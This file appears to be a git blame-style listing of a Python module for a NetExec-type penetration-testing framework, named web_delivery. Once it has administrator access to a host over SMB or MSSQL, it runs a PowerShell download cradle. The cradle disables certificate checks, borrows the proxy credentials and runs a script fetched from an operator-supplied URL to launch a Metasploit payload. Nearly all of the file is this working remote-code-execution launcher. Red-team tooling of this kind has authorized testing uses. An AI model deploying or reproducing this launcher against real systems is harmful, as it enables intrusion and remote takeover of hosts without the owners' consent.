2022-07-18 23:59:14 +00:00
|
|
|
#!/usr/bin/env python3
|
|
|
|
# -*- coding: utf-8 -*-
|
|
|
|
|
2017-05-08 06:24:01 +00:00
|
|
|
from sys import exit
|
|
|
|
|
2023-05-02 15:17:59 +00:00
|
|
|
|
2023-09-17 20:20:40 +00:00
|
|
|
class NXCModule:
|
2023-04-07 16:40:48 +00:00
|
|
|
"""
|
2023-05-02 15:17:59 +00:00
|
|
|
Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module
|
|
|
|
Reference: https://github.com/EmpireProject/Empire/blob/2.0_beta/data/module_source/code_execution/Invoke-MetasploitPayload.ps1
|
2017-05-08 06:24:01 +00:00
|
|
|
|
2023-05-02 15:17:59 +00:00
|
|
|
Module by @byt3bl33d3r
|
2023-04-07 16:40:48 +00:00
|
|
|
"""
|
2017-05-08 06:24:01 +00:00
|
|
|
|
2023-05-02 15:17:59 +00:00
|
|
|
name = "web_delivery"
|
|
|
|
description = "Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module"
|
|
|
|
supported_protocols = ["smb", "mssql"]
|
2017-10-25 06:45:58 +00:00
|
|
|
opsec_safe = True
|
2017-05-08 06:24:01 +00:00
|
|
|
multiple_hosts = True
|
|
|
|
|
|
|
|
def options(self, context, module_options):
|
2023-04-07 16:40:48 +00:00
|
|
|
"""
|
2017-05-08 06:24:01 +00:00
|
|
|
URL URL for the download cradle
|
2022-11-09 11:07:29 +00:00
|
|
|
PAYLOAD Payload architecture (choices: 64 or 32) Default: 64
|
2023-04-07 16:40:48 +00:00
|
|
|
"""
|
2017-05-08 06:24:01 +00:00
|
|
|
|
2023-09-20 15:59:16 +00:00
|
|
|
if "URL" not in module_options:
|
2023-05-02 15:17:59 +00:00
|
|
|
context.log.fail("URL option is required!")
|
2017-05-08 06:24:01 +00:00
|
|
|
exit(1)
|
|
|
|
|
2023-05-02 15:17:59 +00:00
|
|
|
self.url = module_options["URL"]
|
2017-05-08 06:24:01 +00:00
|
|
|
|
2022-11-09 11:07:29 +00:00
|
|
|
self.payload = "64"
|
2023-05-02 15:17:59 +00:00
|
|
|
if "PAYLOAD" in module_options:
|
|
|
|
if module_options["PAYLOAD"] not in ["64", "32"]:
|
|
|
|
context.log.fail("Invalid value for PAYLOAD option!")
|
2022-11-09 11:07:29 +00:00
|
|
|
exit(1)
|
2023-05-02 15:17:59 +00:00
|
|
|
self.payload = module_options["PAYLOAD"]
|
2022-11-09 11:07:29 +00:00
|
|
|
|
2017-05-08 06:24:01 +00:00
|
|
|
def on_admin_login(self, context, connection):
|
2023-09-24 04:06:51 +00:00
|
|
|
ps_command = f"""[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{self.url}');"""
|
2022-11-09 11:07:29 +00:00
|
|
|
if self.payload == "32":
|
|
|
|
connection.ps_execute(ps_command, force_ps32=True)
|
|
|
|
else:
|
|
|
|
connection.ps_execute(ps_command, force_ps32=False)
|
2023-05-02 15:17:59 +00:00
|
|
|
context.log.success("Executed web-delivery launcher")
|